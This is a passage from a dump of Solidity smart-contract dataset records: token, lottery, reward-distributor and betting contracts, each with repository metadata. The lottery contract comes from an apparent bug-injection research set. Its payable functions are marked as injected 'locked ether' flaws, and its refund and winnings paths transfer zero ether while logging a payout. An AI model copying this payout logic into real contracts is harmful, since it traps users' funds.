(bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) onlyUnlocked returns (bool) { return super.transferFrom(_from, _to, _value); } function lock() onlyOwner { locked = true; } function unlock() onlyOwner { locked = false; } function burn(uint256 _value) returns (bool) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] = safeSub(balances[msg.sender], _value) ; totalSupply = safeSub(totalSupply, _value); Transfer(msg.sender, 0x0, _value); return true; } else return false; } function approveAndCall(address _spender, uint256 _value) { TokenSpender spender = TokenSpender(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value); } } } contract BsToken_SNOV is BsToken { function BsToken_SNOV() BsToken('Snovio', 'SNOV', 2500000000, 0xDaE3f1D824127754Aca9Eb5E5bFBAC22d8A04A52) { } }
247,229
12,175
4bf1109c36ab238a206b13f176da790c59d22f9767ec402ca24d62b339b9e08d
20,284
.sol
Solidity
false
293466625
xf97/HuangGai
40a349be6102d5eb63893fb914659405ae162d93
injectedContractDataSet/lockedEther/0x695a029169b28dead555295a93e8c46492211eda_lockedEther.sol
4,788
19,456
pragma solidity 0.5.2; contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, ""); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), ""); owner = newOwner; } } contract Manageable is Ownable { mapping(address => bool) public listOfManagers; modifier onlyManager() { require(listOfManagers[msg.sender], ""); _; } function addManager(address _manager) public onlyOwner returns (bool success) { if (!listOfManagers[_manager]) { require(_manager != address(0), ""); listOfManagers[_manager] = true; success = true; } } function removeManager(address _manager) public onlyOwner returns (bool success) { if (listOfManagers[_manager]) { listOfManagers[_manager] = false; success = true; } } function getInfo(address _manager) public view returns (bool) { return listOfManagers[_manager]; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, ""); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, ""); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, ""); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, ""); return a % b; } } contract iRNG { function update(uint roundNumber, uint additionalNonce, uint period) public payable; } contract iKYCWhitelist { function isWhitelisted(address _participant) public view returns (bool); } contract BaseLottery is Manageable { using SafeMath for uint; enum RoundState {NOT_STARTED, ACCEPT_FUNDS, WAIT_RESULT, SUCCESS, REFUND} struct Round { RoundState state; uint ticketsCount; uint participantCount; TicketsInterval[] tickets; address[] participants; uint random; uint nonce; //xored participants addresses uint startRoundTime; uint[] winningTickets; address[] winners; uint roundFunds; mapping(address => uint) winnersFunds; mapping(address => uint) participantFunds; mapping(address => bool) sendGain; } struct TicketsInterval { address participant; uint firstTicket; uint lastTicket; } uint constant public NUMBER_OF_WINNERS = 10; uint constant public SHARE_DENOMINATOR = 10000; uint constant public ORACLIZE_TIMEOUT = 86400; // one day uint[] public shareOfWinners = [5000, 2500, 1250, 620, 320, 160, 80, 40, 20, 10]; address payable public organiser; uint constant public ORGANISER_PERCENT = 20; uint constant public ROUND_FUND_PERCENT = 80; iKYCWhitelist public KYCWhitelist; uint public period; address public mainLottery; address public management; address payable public rng; mapping (uint => Round) public rounds; uint public ticketPrice; uint public currentRound; event LotteryStarted(uint start); event RoundStateChanged(uint currentRound, RoundState state); event ParticipantAdded(uint round, address participant, uint ticketsCount, uint funds); event RoundProcecced(uint round, address[] winners, uint[] winningTickets, uint roundFunds); event RefundIsSuccess(uint round, address participant, uint funds); event RefundIsFailed(uint round, address participant); event Withdraw(address participant, uint funds, uint fromRound, uint toRound); event AddressIsNotAddedInKYC(address participant); event TicketPriceChanged(uint price); modifier onlyRng { require(msg.sender == address(rng), ""); _; } modifier onlyLotteryContract { require(msg.sender == address(mainLottery) || msg.sender == management, ""); _; } constructor (address payable _rng, uint _period) public { require(_rng != address(0), ""); require(_period >= 60, ""); rng = _rng; period = _period; } function setContracts(address payable _rng, address _mainLottery, address _management) public onlyOwner { require(_rng != address(0), ""); require(_mainLottery != address(0), ""); require(_management != address(0), ""); rng = _rng; mainLottery = _mainLottery; management = _management; } function startLottery(uint _startPeriod) public payable onlyLotteryContract { //injected LOCKED ETHER currentRound = 1; uint time = getCurrentTime().add(_startPeriod).sub(period); rounds[currentRound].startRoundTime = time; rounds[currentRound].state = RoundState.ACCEPT_FUNDS; iRNG(rng).update.value(msg.value)(currentRound, 0, _startPeriod); emit LotteryStarted(time); } function buyTickets(address _participant) public payable onlyLotteryContract { //injected LOCKED ETHER uint funds = msg.value; updateRoundTimeAndState(); addParticipant(_participant, funds.div(ticketPrice)); updateRoundFundsAndParticipants(_participant, funds); if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period) && rounds[currentRound].participantCount >= 10) { _restartLottery(); } } function buyBonusTickets(address _participant, uint _ticketsCount) public payable onlyLotteryContract { //injected LOCKED ETHER updateRoundTimeAndState(); addParticipant(_participant, _ticketsCount); updateRoundFundsAndParticipants(_participant, uint(0)); if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period) && rounds[currentRound].participantCount >= 10) { _restartLottery(); } } function processRound(uint _round, uint _randomNumber) public payable onlyRng returns (bool) { //injected LOCKED ETHER if (rounds[_round].winners.length != 0) { return true; } if (checkRoundState(_round) == RoundState.REFUND) { return true; } if (rounds[_round].participantCount < 10) { rounds[_round].state = RoundState.ACCEPT_FUNDS; emit RoundStateChanged(_round, rounds[_round].state); return true; } rounds[_round].random = _randomNumber; findWinTickets(_round); findWinners(_round); rounds[_round].state = RoundState.SUCCESS; emit RoundStateChanged(_round, rounds[_round].state); if (rounds[_round.add(1)].state == RoundState.NOT_STARTED) { currentRound = _round.add(1); rounds[currentRound].state = RoundState.ACCEPT_FUNDS; emit RoundStateChanged(currentRound, rounds[currentRound].state); } emit RoundProcecced(_round, rounds[_round].winners, rounds[_round].winningTickets, rounds[_round].roundFunds); getRandomNumber(_round + 1, rounds[_round].nonce); return true; } function restartLottery() public payable onlyOwner { //injected LOCKED ETHER _restartLottery(); } function getRandomNumber(uint _round, uint _nonce) public payable onlyRng { //injected LOCKED ETHER iRNG(rng).update(_round, _nonce, period); } function setTicketPrice(uint _ticketPrice) public onlyLotteryContract { require(_ticketPrice > 0, ""); emit TicketPriceChanged(_ticketPrice); ticketPrice = _ticketPrice; } function findWinTickets(uint _round) public { uint[10] memory winners = _findWinTickets(rounds[_round].random, rounds[_round].ticketsCount); for (uint i = 0; i < 10; i++) { rounds[_round].winningTickets.push(winners[i]); } } function _findWinTickets(uint _random, uint _ticketsNum) public pure returns (uint[10] memory) { uint random = _random;//uint(keccak256(abi.encodePacked(_random))); uint winnersNum = 10; uint[10] memory winTickets; uint shift = uint(256).div(winnersNum); for (uint i = 0; i < 10; i++) { winTickets[i] = uint(keccak256(abi.encodePacked(((random << (i.mul(shift))) >> (shift.mul(winnersNum.sub(1)).add(6)))))).mod(_ticketsNum); } return winTickets; } function refund(uint _round) public { if (checkRoundState(_round) == RoundState.REFUND && rounds[_round].participantFunds[msg.sender] > 0) { uint amount = rounds[_round].participantFunds[msg.sender]; rounds[_round].participantFunds[msg.sender] = 0; address(msg.sender).transfer(0); emit RefundIsSuccess(_round, msg.sender, amount); } else { emit RefundIsFailed(_round, msg.sender); } } function checkRoundState(uint _round) public returns (RoundState) { if (rounds[_round].state == RoundState.WAIT_RESULT && getCurrentTime() > rounds[_round].startRoundTime.add(ORACLIZE_TIMEOUT)) { rounds[_round].state = RoundState.REFUND; emit RoundStateChanged(_round, rounds[_round].state); } return rounds[_round].state; } function setOrganiser(address payable _organiser) public onlyOwner { require(_organiser != address(0), ""); organiser = _organiser; } function setKYCWhitelist(address _KYCWhitelist) public onlyOwner { require(_KYCWhitelist != address(0), ""); KYCWhitelist = iKYCWhitelist(_KYCWhitelist); } function getGain(uint _fromRound, uint _toRound) public { _transferGain(msg.sender, _fromRound, _toRound); } function sendGain(address payable _participant, uint _fromRound, uint _toRound) public onlyManager { _transferGain(_participant, _fromRound, _toRound); } function getTicketsCount(uint _round) public view returns (uint) { return rounds[_round].ticketsCount; } function getTicketPrice() public view returns (uint) { return ticketPrice; } function getCurrentTime() public view returns (uint) { return now; } function getPeriod() public view returns (uint) { return period; } function getRoundWinners(uint _round) public view returns (address[] memory) { return rounds[_round].winners; } function getRoundWinningTickets(uint _round) public view returns (uint[] memory) { return rounds[_round].winningTickets; } function getRoundParticipants(uint _round) public view returns (address[] memory) { return rounds[_round].participants; } function getWinningFunds(uint _round, address _winner) public view returns (uint) { return rounds[_round].winnersFunds[_winner]; } function getRoundFunds(uint _round) public view returns (uint) { return rounds[_round].roundFunds; } function getParticipantFunds(uint _round, address _participant) public view returns (uint) { return rounds[_round].participantFunds[_participant]; } function getCurrentRound() public view returns (uint) { return currentRound; } function getRoundStartTime(uint _round) public view returns (uint) { return rounds[_round].startRoundTime; } function _restartLottery() internal { uint _now = getCurrentTime().sub(rounds[1].startRoundTime); rounds[currentRound].startRoundTime = getCurrentTime().sub(_now.mod(period)); rounds[currentRound].state = RoundState.ACCEPT_FUNDS; emit RoundStateChanged(currentRound, rounds[currentRound].state); iRNG(rng).update(currentRound, 0, period.sub(_now.mod(period))); } function _transferGain(address payable _participant, uint _fromRound, uint _toRound) internal { require(_fromRound <= _toRound, ""); require(_participant != address(0), ""); if (KYCWhitelist.isWhitelisted(_participant)) { uint funds; for (uint i = _fromRound; i <= _toRound; i++) { if (rounds[i].state == RoundState.SUCCESS && rounds[i].sendGain[_participant] == false) { rounds[i].sendGain[_participant] = true; funds = funds.add(getWinningFunds(i, _participant)); } } require(funds > 0, ""); _participant.transfer(0); emit Withdraw(_participant, funds, _fromRound, _toRound); } else { emit AddressIsNotAddedInKYC(_participant); } } // find participant who has winning ticket // to start: _begin is 0, _end is last index in ticketsInterval array function getWinner(uint _round, uint _beginInterval, uint _endInterval, uint _winningTicket) internal returns (address) { if (_beginInterval == _endInterval) { return rounds[_round].tickets[_beginInterval].participant; } uint len = _endInterval.add(1).sub(_beginInterval); uint mid = _beginInterval.add((len.div(2))).sub(1); TicketsInterval memory interval = rounds[_round].tickets[mid]; if (_winningTicket < interval.firstTicket) { return getWinner(_round, _beginInterval, mid, _winningTicket); } else if (_winningTicket > interval.lastTicket) { return getWinner(_round, mid.add(1), _endInterval, _winningTicket); } else { return interval.participant; } } function addParticipant(address _participant, uint _ticketsCount) internal { rounds[currentRound].participants.push(_participant); uint currTicketsCount = rounds[currentRound].ticketsCount; rounds[currentRound].ticketsCount = currTicketsCount.add(_ticketsCount); rounds[currentRound].tickets.push(TicketsInterval(_participant, currTicketsCount, rounds[currentRound].ticketsCount.sub(1))); rounds[currentRound].nonce = rounds[currentRound].nonce + uint(keccak256(abi.encodePacked(_participant))); emit ParticipantAdded(currentRound, _participant, _ticketsCount, _ticketsCount.mul(ticketPrice)); } function updateRoundTimeAndState() internal { if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period) && rounds[currentRound].participantCount >= 10) { rounds[currentRound].state = RoundState.WAIT_RESULT; emit RoundStateChanged(currentRound, rounds[currentRound].state); currentRound = currentRound.add(1); rounds[currentRound].startRoundTime = rounds[currentRound-1].startRoundTime.add(period); rounds[currentRound].state = RoundState.ACCEPT_FUNDS; emit RoundStateChanged(currentRound, rounds[currentRound].state); } } function updateRoundFundsAndParticipants(address _participant, uint _funds) internal { if (rounds[currentRound].participantFunds[_participant] == 0) { rounds[currentRound].participantCount = rounds[currentRound].participantCount.add(1); } rounds[currentRound].participantFunds[_participant] = rounds[currentRound].participantFunds[_participant].add(_funds); rounds[currentRound].roundFunds = rounds[currentRound].roundFunds.add(_funds); } function findWinners(uint _round) internal { address winner; uint fundsToWinner; for (uint i = 0; i < NUMBER_OF_WINNERS; i++) { winner = getWinner(_round, 0, (rounds[_round].tickets.length).sub(1), rounds[_round].winningTickets[i]); rounds[_round].winners.push(winner); fundsToWinner = rounds[_round].roundFunds.mul(shareOfWinners[i]).div(SHARE_DENOMINATOR); rounds[_round].winnersFunds[winner] = rounds[_round].winnersFunds[winner].add(fundsToWinner); } } } contract IChecker { function update() public payable; } contract JackPot is BaseLottery { IChecker public checker; modifier onlyChecker { require(msg.sender == address(checker), ""); _; } constructor(address payable _rng, uint _period, address _checker) public BaseLottery(_rng, _period) { require(_checker != address(0), ""); checker = IChecker(_checker); } function () external payable { //injected LOCKED ETHER } function processLottery() public payable onlyChecker { //injected LOCKED ETHER rounds[currentRound].state = RoundState.WAIT_RESULT; emit RoundStateChanged(currentRound, rounds[currentRound].state); currentRound = currentRound.add(1); rounds[currentRound].startRoundTime = getCurrentTime(); rounds[currentRound].state = RoundState.ACCEPT_FUNDS; emit RoundStateChanged(currentRound, rounds[currentRound].state); iRNG(rng).update.value(msg.value)(currentRound, rounds[currentRound].nonce, 0); } function startLottery(uint _startPeriod) public payable onlyLotteryContract { //injected LOCKED ETHER _startPeriod; currentRound = 1; uint time = getCurrentTime(); rounds[currentRound].startRoundTime = time; rounds[currentRound].state = RoundState.ACCEPT_FUNDS; emit RoundStateChanged(currentRound, rounds[currentRound].state); emit LotteryStarted(time); checker.update.value(msg.value)(); } function setChecker(address _checker) public onlyOwner { require(_checker != address(0), ""); checker = IChecker(_checker); } function processRound(uint _round, uint _randomNumber) public payable onlyRng returns (bool) { //injected LOCKED ETHER rounds[_round].random = _randomNumber; rounds[_round].winningTickets.push(_randomNumber.mod(rounds[_round].ticketsCount)); address winner = getWinner(_round, 0, (rounds[_round].tickets.length).sub(1), rounds[_round].winningTickets[0]); rounds[_round].winners.push(winner); rounds[_round].winnersFunds[winner] = rounds[_round].roundFunds; rounds[_round].state = RoundState.SUCCESS; emit RoundStateChanged(_round, rounds[_round].state); emit RoundProcecced(_round, rounds[_round].winners, rounds[_round].winningTickets, rounds[_round].roundFunds); currentRound = currentRound.add(1); rounds[currentRound].state = RoundState.ACCEPT_FUNDS; emit RoundStateChanged(_round, rounds[_round].state); return true; } function buyTickets(address _participant) public payable onlyLotteryContract { //injected LOCKED ETHER require(msg.value > 0, ""); uint ticketsCount = msg.value.div(ticketPrice); addParticipant(_participant, ticketsCount); updateRoundFundsAndParticipants(_participant, msg.value); } }
279,257
12,176
ad5aaf4a7ad7495e5dc9f18aea31acc0485704a5325610545a01c02b6b11fc7a
18,020
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/d3/d3850c30b9a4c19f7dc908ebd4c6b913df26e77f_Distributor.sol
3,975
15,701
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) .sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add32(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add(div(a, 2), 1); while (b < c) { c = b; b = div(add(div(a, b), b), 2); } } else if (a != 0) { c = 1; } } function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) { return div(mul(total_, percentage_), 1000); } function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) { return sub(total_, div(mul(total_, percentageToSub_), 1000)); } function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) { return div(mul(part_, 100) , total_); } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) { return sqrrt(mul(multiplier_, payment_)); } function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) { return mul(multiplier_, supply_); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IPolicy { function policy() external view returns (address); function renouncePolicy() external; function pushPolicy(address newPolicy_) external; function pullPolicy() external; } contract Policy is IPolicy { address internal _policy; address internal _newPolicy; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _policy = msg.sender; emit OwnershipTransferred(address(0), _policy); } function policy() public view override returns (address) { return _policy; } modifier onlyPolicy() { require(_policy == msg.sender, "Ownable: caller is not the owner"); _; } function renouncePolicy() public virtual override onlyPolicy() { emit OwnershipTransferred(_policy, address(0)); _policy = address(0); } function pushPolicy(address newPolicy_) public virtual override onlyPolicy() { require(newPolicy_ != address(0), "Ownable: new owner is the zero address"); _newPolicy = newPolicy_; } function pullPolicy() public virtual override { require(msg.sender == _newPolicy); emit OwnershipTransferred(_policy, _newPolicy); _policy = _newPolicy; } } interface ITreasury { function mintRewards(address _recipient, uint _amount) external; } contract Distributor is Policy { using SafeMath for uint; using SafeMath for uint32; using SafeERC20 for IERC20; address public immutable OHM; address public immutable treasury; uint32 public immutable epochLength; uint32 public nextEpochTime; mapping(uint => Adjust) public adjustments; struct Info { uint rate; // in ten-thousandths (5000 = 0.5%) address recipient; } Info[] public info; struct Adjust { bool add; uint rate; uint target; } constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) { require(_treasury != address(0)); treasury = _treasury; require(_ohm != address(0)); OHM = _ohm; epochLength = _epochLength; nextEpochTime = _nextEpochTime; } function distribute() external returns (bool) { if (nextEpochTime <= uint32(block.timestamp)) { nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time // distribute rewards to each recipient for (uint i = 0; i < info.length; i++) { if (info[ i ].rate > 0) { ITreasury(treasury).mintRewards(// mint and send from treasury info[ i ].recipient, nextRewardAt(info[ i ].rate)); adjust(i); // check for adjustment } } return true; } else { return false; } } function adjust(uint _index) internal { Adjust memory adjustment = adjustments[ _index ]; if (adjustment.rate != 0) { if (adjustment.add) { // if rate should increase info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate if (info[ _index ].rate >= adjustment.target) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } else { // if rate should decrease info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate if (info[ _index ].rate <= adjustment.target) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } } } function nextRewardAt(uint _rate) public view returns (uint) { return IERC20(OHM).totalSupply().mul(_rate).div(1000000); } function nextRewardFor(address _recipient) public view returns (uint) { uint reward; for (uint i = 0; i < info.length; i++) { if (info[ i ].recipient == _recipient) { reward = nextRewardAt(info[ i ].rate); } } return reward; } function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() { require(_recipient != address(0)); info.push(Info({ recipient: _recipient, rate: _rewardRate })); } function removeRecipient(uint _index, address _recipient) external onlyPolicy() { require(_recipient == info[ _index ].recipient); info[ _index ].recipient = address(0); info[ _index ].rate = 0; } function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() { adjustments[ _index ] = Adjust({ add: _add, rate: _rate, target: _target }); } }
122,273
12,177
c97530892c2b705282ff9c86e8d6c04d80bd2c196415c29f96467f9f57705c81
14,595
.sol
Solidity
false
627794329
uni-due-syssec/efcf-framework
c3088c935f567dc7fc286475d6759204b6e44ef5
data/smartbugs-top-1000-balance/0x14b2e65338ddef083f9469098629bdc563c5e167.sol
2,925
11,335
pragma solidity ^0.4.23; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Mortal is Ownable{ uint public stopTS; uint public minimumWait = 1 hours; bool public killed; function stopPlaying() public onlyOwner{ stopTS = now; } function kill() public onlyOwner{ require(stopTS > 0 && stopTS + 2 * minimumWait <= now, "before killing, playing needs to be stopped and sufficient time has to pass"); selfdestruct(owner); } function permaStop() public onlyOwner{ require(stopTS > 0 && stopTS + 2 * minimumWait <= now, "before killing, playing needs to be stopped and sufficient time has to pass"); killed = true; owner.transfer(address(this).balance); } function resumePlaying() public onlyOwner{ require(!killed, "killed contract cannot be reactivated"); stopTS = 0; } modifier active(){ require(stopTS == 0, "playing has been stopped by the owner"); _; } } contract Administrable is Mortal{ uint public charityPot; uint public highscorePot; uint public affiliatePot; uint public surprisePot; uint public developerPot; uint public charityPercent = 25; uint public highscorePercent = 50; uint public affiliatePercent = 50; uint public surprisePercent = 25; uint public developerPercent = 50; uint public winnerPercent = 800; address public highscoreHolder; address public signer; mapping (address => uint) public affiliateBalance; mapping (bytes32 => bool) public used; event Withdrawal(uint8 pot, address receiver, uint value); modifier validAddress(address receiver){ require(receiver != 0x0, "invalid receiver"); _; } function setMinimumWait(uint newMin) public onlyOwner{ minimumWait = newMin; } function withdrawDeveloperPot(address receiver) public onlyOwner validAddress(receiver){ uint value = developerPot; developerPot = 0; receiver.transfer(value); emit Withdrawal(0, receiver, value); } function donate(address charity) public onlyOwner validAddress(charity){ uint value = charityPot; charityPot = 0; charity.transfer(value); emit Withdrawal(1, charity, value); } function withdrawHighscorePot(address receiver) public validAddress(receiver){ require(msg.sender == highscoreHolder); uint value = highscorePot; highscorePot = 0; receiver.transfer(value); emit Withdrawal(2, receiver, value); } function withdrawAffiliateBalance(address receiver) public validAddress(receiver){ uint value = affiliateBalance[msg.sender]; require(value > 0); affiliateBalance[msg.sender] = 0; receiver.transfer(value); emit Withdrawal(3, receiver, value); } function withdrawSurprisePot(address receiver) public onlyOwner validAddress(receiver){ uint value = surprisePot; surprisePot = 0; receiver.transfer(value); emit Withdrawal(4, receiver, value); } function withdrawSurprisePotUser(uint value, uint expiry, uint8 v, bytes32 r, bytes32 s) public{ require(expiry >= now, "signature expired"); bytes32 hash = keccak256(abi.encodePacked(msg.sender, value, expiry)); require(!used[hash], "same signature was used before"); require(ecrecover(hash, v, r, s) == signer, "invalid signer"); require(value <= surprisePot, "not enough in the pot"); surprisePot -= value; used[hash] = true; msg.sender.transfer(value); emit Withdrawal(4, msg.sender, value); } function setSigner(address signingAddress) public onlyOwner{ signer = signingAddress; } function setPercentages(uint affiliate, uint charity, uint dev, uint highscore, uint surprise) public onlyOwner{ uint sum = affiliate + charity + highscore + surprise + dev; require(sum < 500, "winner should not lose money"); charityPercent = charity; affiliatePercent = affiliate; highscorePercent = highscore; surprisePercent = surprise; developerPercent = dev; winnerPercent = 1000 - sum; } } contract Etherman is Administrable{ struct game{ uint32 timestamp; uint128 stake; address player1; address player2; } struct player{ uint8 team; uint64 score; address referrer; } mapping (bytes32 => game) public games; mapping (address => player) public players; event NewGame(bytes32 gameId, address player1, uint stake); event GameStarted(bytes32 gameId, address player1, address player2, uint stake); event GameDestroyed(bytes32 gameId); event GameEnd(bytes32 gameId, address winner, uint value); event NewHighscore(address holder, uint score, uint lastPot); modifier onlyHuman(){ require(msg.sender == tx.origin, "contract calling"); _; } constructor(address signingAddress) public{ setSigner(signingAddress); } function initGameReferred(address referrer, uint8 team) public payable active onlyHuman validAddress(referrer){ //new player which does not have a referrer set yet if(players[msg.sender].referrer == 0x0 && players[msg.sender].score == 0) players[msg.sender] = player(team, 0, referrer); initGame(); } function initGameTeam(uint8 team) public payable active onlyHuman{ if(players[msg.sender].score == 0) players[msg.sender].team = team; initGame(); } function initGame() public payable active onlyHuman{ require(msg.value <= 10 ether, "stake needs to be lower than or equal to 10 ether"); require(msg.value > 1 finney, "stake needs to be at least 1 finney"); bytes32 gameId = keccak256(abi.encodePacked(msg.sender, block.number)); games[gameId] = game(uint32(now), uint128(msg.value), msg.sender, 0x0); emit NewGame(gameId, msg.sender, msg.value); } function joinGameReferred(bytes32 gameId, address referrer, uint8 team) public payable active onlyHuman validAddress(referrer){ //new player which does not have a referrer set yet if(players[msg.sender].referrer == 0x0 && players[msg.sender].score == 0) players[msg.sender] = player(team, 0, referrer); joinGame(gameId); } function joinGameTeam(bytes32 